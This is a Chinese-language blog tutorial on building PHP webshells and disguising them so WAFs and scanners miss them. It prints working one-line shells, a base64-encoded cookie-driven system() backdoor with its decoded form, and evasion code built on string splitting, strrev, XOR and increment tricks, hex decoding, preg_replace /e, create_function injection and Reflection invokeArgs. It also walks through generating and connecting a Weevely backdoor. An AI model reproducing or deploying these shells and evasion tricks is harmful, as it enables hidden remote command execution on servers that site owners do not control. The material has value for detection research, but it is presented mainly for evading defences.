WebShell 剖析与变形

在测试中经常说到要传马 , 这里的马就是指 WebShell . 一般马被分为小马和大马 , 按功能的强弱划分 . 最常用的 WebShell 就是一句话木马 . 这里从 PHP的WebShell 入手 , 来看一下这些 WebShell 是如何执行 , 如何变形的

文章内容可能比较多 , 但是耐心看完后你定会有收获


最基本的WebShell结构

下面是非常经典的一句话木马

<?php eval($_POST[shell]); ?>

其实每个 WebShell 都具备这个结构 , 即
1. 数据的传递( 通过 HTTP方法 实现 )
2. 数据的执行( 通过eval() , assert() 等函数实现 )

总结的逻辑为 : WebShell 通过HTTP方法接收攻击者的信息指令 , 然后调用PHP中可以执行代码的函数来执行


数据传递 && 绕过检测

在传递数据上 , 最常用的做法是
1. $_GET
2. $_POST
3. $_SERVER
4. $_COOKIE

通过上面这些HTTP方法可以直接获取控制端的数据 , 但是如果这类关键词直接出现的话 , 很容易会被检测到 , 下面有一些可能的绕过方法

  1. 利用应用本身所在框架的输入封装来得到传递的数据
  2. 采取某种变通的方式来绕过检测 , 比如通过 ${"_G" . "ET"} 这类特殊写法 , 但是这类变换依旧可以被检测到 , 比如跟踪 $( . 当然这种跟踪又可以被 $/*xxx*/ 这种方式绕过 . 总之这是一个斗智斗勇的过程
  3. 使用其他的数据获取方式来获取数据 , 比如使用 $_REQUEST , $GLOBALS['_GET'] , $_FILE
  4. 人为构造语言缺陷或者应用漏洞 . 这种攻击方式是不易被察觉的 . 比如伪造管理员 Session 等

数据执行 && 绕过检测

在数据执行上 , 通常使用的函数方法如下
1. eval()
2. create_function
3. exec()
4. preg_replace
5. ... ...

上面这些函数关键词是敏感的 , 很多自动化的webshell检测脚本都能识别它们 . 所以必须对它们加以改造

  1. 通过 $a{} 这种方式来执行函数 . 当然现在大部分扫描器都已经内置了 $. 这种跟踪规则 . 不过可以通过 $a/*a*/{} 来绕过它们 . 这又是一个斗智斗勇的过程
  2. 尝试使用不在跟踪规则黑名单中的函数 , 或者使用极其罕见的函数

WAF

作为一名安全研究人员 , WAF是常常被提到的 . 这是一种防御机制 . 我下面将要提到的各种WebShell的变形就是为了绕过它的 . 如果你的WebShell太明显 , 那么就会被 WAF 抓住

通过对 WebShell 进行伪装变形 , 使其绕过 WAF 的检测 , 同时又保留其原来的功能 . 这就是我们常说的 免杀 , 过狗 , 过盾

要想绕过 WAF , 那么就需要知道 WAF 是如何工作的
  1. 黑名单匹配检测
    WAF中存在一个有很多 WebShell 样本的特征库 , 用于代码是否存在相应特征 . 同时 WAF 又有一套禁用规则 , 会禁用那些比较危险 , 容易利用的函数关键字**
  2. 机器学习检测
    通过机器学习的方式检测 WebShell 近几年已经开始发展 , 但是还不够成熟

总之 , 选择的 WAF 大多还是基于 黑名单匹配检测 的 , 所以理论上都存在被绕过的可能


下面就进入到本文的重点 : WebShell 的变形技术

本文以 PHP 为例 , 讲解那些常用的绕过方法

目前的防护软件会对 能够执行命令的函数能够执行代码的函数 额外的敏感 , 比如下列函数
1. eval()
2. assert()
3. system()
4. popen()
5. shell_exec()
6. ... ...

想比较简单的 eval($_POST[cmd]) 肯定会被现在的WAF查杀 . 所以变形技术的本质在于 : 隐藏敏感函数


巧用$GPC

$GPC , 即通过 $_GET , $_POST , $_COOKIE 获取数据

  1. 利用 $_GLOBALS
    @eval($GLOBALS['_POST']['cmd']); , 很多防护软件都只会检查$_POST , 像比如$GLOBALS 可以绕过检测
  2. 利用 $_FILES
    @eval($_FILES[cmd]); , 这个同 $GLOBALS , 很多防护软件没有对 $_FILES 进行检测

关键词替换

  1. 敏感函数替换 : 通过连接符( 比如PHP中的' . '把敏感函数的片段拼接起来 )
    $key = "ass"."ert";
    $key(${"_PO" . "ST"} [xxx] );
    

    当然上面这种利用PHP可变函数拆分关键字的技术已经可以被 WAF 识别了 , 所以还需要其他的变换 , 比如将关键字放置在 UDF( User Define Function ) 中

    function key(){
    return "ass" . "ert";
    }
    $a = key();
    $a( ${"_PO" . "ST"} [xxx] );
    

    当然这种变形方式是很多的 , 这里也只是列举出了最常用的两种

  2. 空格替换 / 字符串替换 : 可以将关键函数函数进行 倒转 和 添加空格 , 然后利用 strrev()str_replace() 两个函数恢复 . 这里是采用将敏感字符串进行各种变形来达到隐藏敏感函数的目的.

    strrev( "str" ) : 翻转字符串 str
    str_replace("a" , "b" , "str") : 将字符串 "str" 中的 "a" 替换为 "b"
    

    举个例子

    <?php
    $a = strrev("edoced_4" . "6esab");
    eval($a(str_replace(" " , "" , "a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));
    ?>
    

    通过 echo 输出转换后的内容 , 可以看到真正的代码如下所示

    <?php
    if(isset($_COOKIE['cm'])){ob_start();system(base64_decode($_COOKIE['cm']).' 2>&1');setcookie($_COOKIE['cn'],$_COOKIE['cp'].base64_encode(ob_get_contents()).$_COOKIE['cp']);ob_end_clean();}
    ?>
    

特殊字符

特殊字符也可以组成 WebShell , 这其实也算是 关键字替换 的一种 , 这里单独来说

  1. 异或取反运算 : 该利用方式是通过 " ^ "( 异或运算符 ) 和 " ! "( 取反运算符 ) 组成一个WebShell

    png

    在没有引入任何字母的情况下 , 构造出了 $_POST . 这类变形很可能会绕过 WAF 的检测 . 这个例子看不懂没关系 . 可以参考这个无数字字母的WebShell

  2. 自增运算

    在PHP中 , 存在 "a" ++ => "b" , "b" ++ => "c" 这种运算规则 . 所以 , 只要我们得到了一个字母 , 那么就可以通过这个字母得到所有的字母

    可以列举出很多的例子 , 但是核心概念都是类似的 . 并且一般更加偏向于得到字母 "A" , 这样就可以通过自增运算来得到每一个字符

    <?php
    $_ = [];
    $_ = @"$_";
    

    上面两行代码可以得到一个字符串 "Array" , 这里我们只需要提取其中的 "A" 就可以了 . .

    <?php
    $_ = [];
    $_ = @"$_";
    $__ = $_[0]
    

    通过上面代码可以得到 "A" , 然后我们可以通过 "A" 来得到任意想要的字符

  3. 利用注释

    注释在各种攻击手段中已经被玩烂了 . 可以在WebShell 中添加各种注释( 比如 /* - */ ) 来扰乱检测规则 . 这里不多说了

    $_ = "s" . "s" . /* - */"e" . /* - *//* - */"r";
    $__ = /* - */"a" . /* - *//* - */$_ . /* - */"t";
    

    通过上面的代码 , 敏感函数 assert 就这么被构造出来了 , 其实本质也就是隐藏敏感函数


异或运算 和 字符编码

这里说的异或运算与上面的异或取反运算不是一个意思 . 这里是指 : 在特定的编码情况下 , 一些字符经过异或运算就能得到一些特定的函数 . 这些函数可以用于构造WebShell

两个经典的例子

  1. $y = ~督耽孩^'(1987)';
    该变量以 GBK 编码保存后 , $y 的值会变为 assert

  2. $x = ~Ÿ¬¬º­«;
    该变量以 ISO-8859-15 编码保存后 , $x 的值变成 assert

上面这种方法看起来真的很酷炫 , 但是尽管变化成这样 , 还是有 WAF 可以检测到的


eval & base64_encode 变形

有大佬做过总结 , 发现很多的 WebShell 都是 eval(base64_decode($_POST[cmd])) 这种方式的变形 . 这类变形的核心思想就是把 base64_deocde$_POST 等关键字隐藏

  1. 字符串 , 数组的方式

    这种方式一般都是先声明一个字符串 , 里面包含你想使用的字母
    $list = "PCT4BA60DSE_"

    然后从字符串中取出你要用的值 , 并对它们进行转换

    $a = strtolower($list[4] . $list[5] . $list[9] . $list[10] . $list[6] . $list[3] . $list[11] . $list[8] . $list[10] . $list[1] . $list[7] . $list[8] . $list[10]);    // base64_decode
    $b = "$" . strtoupper($list[11] . $list[0] . $list[7] . $list[9] . $list[2]) . "[key]";    // $_POST[key]
    

    最后写一个永真的判断 , 拼接字符串 , 即可得到一个WebShell

    if(isset($a){
    eval($a($b));
    }
    
  2. 进制转换
    $abc = "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
    @eval($abc( ... ))
    

    上面的 $abc 的值为 base64_decode , 通过十六进制和八进制混用的方式 , 很容易绕过 WAF 的检测

    针对低版本的PHP ( PHP < 5.5 ) 还有一种非常经典的用法 , 这里来提一下

    $liner = "pr"."e"."g_"."re"."p"."l"."ace";
    $liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code);
    
     preg_replace(pattern , replacement , subject , limit , count) : 会执行一个正则表达式的搜索和替换
     1 . pattern : 搜索的模式 , 可以是字符串或者字符串数组
     2 . replacement : 用于替换的字符串或者字符串数组
     3 . subject : 要进行搜索替换的目标字符串
     4 . limit : 可选参数 , 用于确定每个目标字符串的最大替换次数
     5 . count : 可选参数 , 设定替换执行的次数
    

    这里 preg_replace() 的 pattern参数 为 /.*/e , 其中 /.*/ 匹配除换行符外的所有字符 , e 表示在替换完毕后 , 将replacement参数值作为PHP代码来执行


PHP反序列化执行

有关 PHP反序列化执行代码的内容我已经在另一篇 Blog 中详细说过了 , 你可以访问以下 URL 来参考

PHP反序列化漏洞


匿名函数的利用

PHP中可以创建匿名函数 , 匿名函数是没有明确函数名的函数 , 它们只能被当做变量来执行 .

先来看下 匿名函数怎么表示

$func = create_function("","eval($_POST[cmd]);");
$func()

上面这两行代码相当于

function fn(){
    eval($_POST[cmd]);
}
$func = fn();

有一个非常经典的例子 , 可以将 create_function() 中的敏感关键字通过HTTP方法获取

<?php
    $id = $_GET[id]
    $q = 'echo ' . $id . " is" . $a . ";";
    $ret = create_function($a,$q)

那么 create_function() 到底是如何被利用的呢?

比如下面这个代码中存在漏洞

png

你可以在 URL 中输入 1} phpinfo(); /* , 然后查看输出信息

分析一下 , 就会发现这其实是一个代码注入 , 把从 $_GET[] 获取到的内容带入到代码 , 就会发现

function fn($a){
    echo 1;
    } phpinfo();
/* }

通过闭合原函数 , 添加新内容 , 注释后面的内容来完成代码注入

当然 , 直接这么写肯定会被 WAF 检测出来, 所以还需要对它们进行变形

$function = create_function('$code' , strrev('lave') . '(' . strrev('TEG_$') . '["code"]);');
$function();    // eval($_GET['code'])

或者

$function = create_function('$code',base64_decode('ZXZhbCgkX0dFVFsnY29kZSddKQ=='))
$function();    // eval($_GET['code'])

总之 , 通过关键字替换 , 让敏感函数变形 , 来躲避 WAF 的追踪

 注 : 虽然在 PHP 7.2.0 后 create_function() 已经被启用 , 但是上面这种思路适用于所有构造的匿名函数

png


preg_replace

preg_replace 的利用方法其实上面已经提到过了 , 主要是基于 "\e" 修饰符 , 但是该修饰符已经在 PHP 7.0.0 中被移除了 , 所以这里仅仅提一下

png


动态函数执行

该利用方式其实前面已经提到过很多次了 , 你应该常见下面的格式

$a = $_GET[a];
$b = $_GET[b];
$a($b);

上面这种格式就叫做 PHP动态函数执行 . PHP支持可变函数的概念 , 如果一个变量名后面有圆括号() , 那么PHP将寻找与变量值同名的函数 , 并且尝试执行它

但是注意 , 可变函数不包括 echo , eval , assert,unset , empty , include , require 等类似的语言结构 , 需要进行包装才能将这些语言结构用于可变函数

随便写个例子

png

这种利用方式已经被各种 WAF 识别 , 用的机会不多了


利用文件名 / 注释

对 , 文件名和注释也可以帮助我们构造WebShell , 很多WAF只会检测文件内的有效代码 , 但是并不会关注文件名和注释等" 无用信息 "

  1. 巧用文件名
    首先来关注一个魔术方法 __FILE__

    png

    可以利用文件名来引入敏感函数

    png

    其实这也是 函数动态执行 的一种变形 , 但是它可以有效的绕过大部分的WAF

  2. 巧用注释
    没错 , 我们可以利用注释来引入敏感函数!

    这里需要用到 PHP Reflection 这个机制 , 它是PHP5+ 中增加的 . 简单来说 , PHP Reflection API 可以用于导出或者提取关于类 , 方法 , 属性 , 参数 等详细信息 . 甚至包含注释的内容 !

    这里不深究 PHP Reflection 的原理 , 你只需要知道这个可利用的函数 ReflectionClass::getDocComment , 该函数可以从一个类中获取文档的注释

    来看个demo

    png

    输出内容如下所示

    png

    无论怎么截取 , 我们都可以得到 system 这个敏感函数 .

    png

    这种利用方法很少有WAF可以检测到


自定义函数

为了躲避 WAF 的追踪 , 很多 WebShell 都会自己编写加密函数或者字符串转换函数

  1. 字符串转换函数
    下面定义了一个通过十六进制执行WebShell的函数

    $string = '';
    $password = 'test';
    
    if(isset($_GET[$password])){
        $hex = $_GET[$password];
        for($i = 0 ; $i < strlen($hex) - 1;$i += 2){
                $string .= chr(hexdec($hex[$i] . $hex[$i + 1]));    # 两位数字表示一个十六进制数 , 所以这里需要合并
        }
        @eval($string);
    }
    
     chr : 从指定的十进制ASCII编码返回字符
     hexdec : 十六进制转换为十进制
    

    可以构造十六进制字符串来利用该漏洞

    png

    png

  2. 自定义加密
    使用自定义加密会更加容易绕过 WAF , 其实这类加密都算 字符串变换 的一种

    加密函数

    png

    输出结果为 : Chydo%2Bskslqir%2B%2C%2C%3E

    解密函数

    png

    浏览器中利用

    png


PHP Reflection API

前面在 巧用注释 的过程中说到了 PHP Reflection 机制 . PHP反射的作用是 : 在PHP运行状态下( 包括内置和自定义的 ) , 动态的获取类 , 方法 , 属性 , 函数 , 参数 , 注释等的详细信息

该利用主要是 ReflectionFunction类 , 该类中存在一个这样的方法

public mixed invokeArgs(array args)
//调用该函数,通过数组传参数

简单的说 , invokeArgs可以调用一个函数 , 并且给它传参 .

png

调用了 system 函数 , 并且给他传参 iwconfig

png

同样 , 这里类似动态函数调用 , 而因为 eval() 是一个语言构造器而不是一个函数,不能被可变函数调用 , 所以无法使用 eval , assert , echo ... 等语言结构

上面这种利用方式已经可以被部分 WAF 识别


文件加密

加密的方式就非常多了 , 包括使用开源的webshell工具或者是网上在线的加密方法或者是自己编写加密代码进行混淆加密

这里主要提一下大名鼎鼎的 PHP后门工具 Weevely

  1. 生成 backdoor.php

    png

  2. 将 backdoor.php 上传到目标站点 , 这里以本地做实验

  3. 通过 Weevely 连接后门

    png

你可以关注一下后门具体是什么样的

png

尽管看起来很复杂 , 但是部分 WAF 是可以识别的


总结

非常感谢你可以看到这里 , 上述所有的内容是我总结的 WebShell 构造技巧 . 大量的变形手段都是用PHP语言特性 , 因为PHP的灵活语法以及大量的内置函数 , 导致 WebShell 可以存在各种各样的变形技巧

如果你对上文有什么建议或者意见 , 欢迎指出!

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇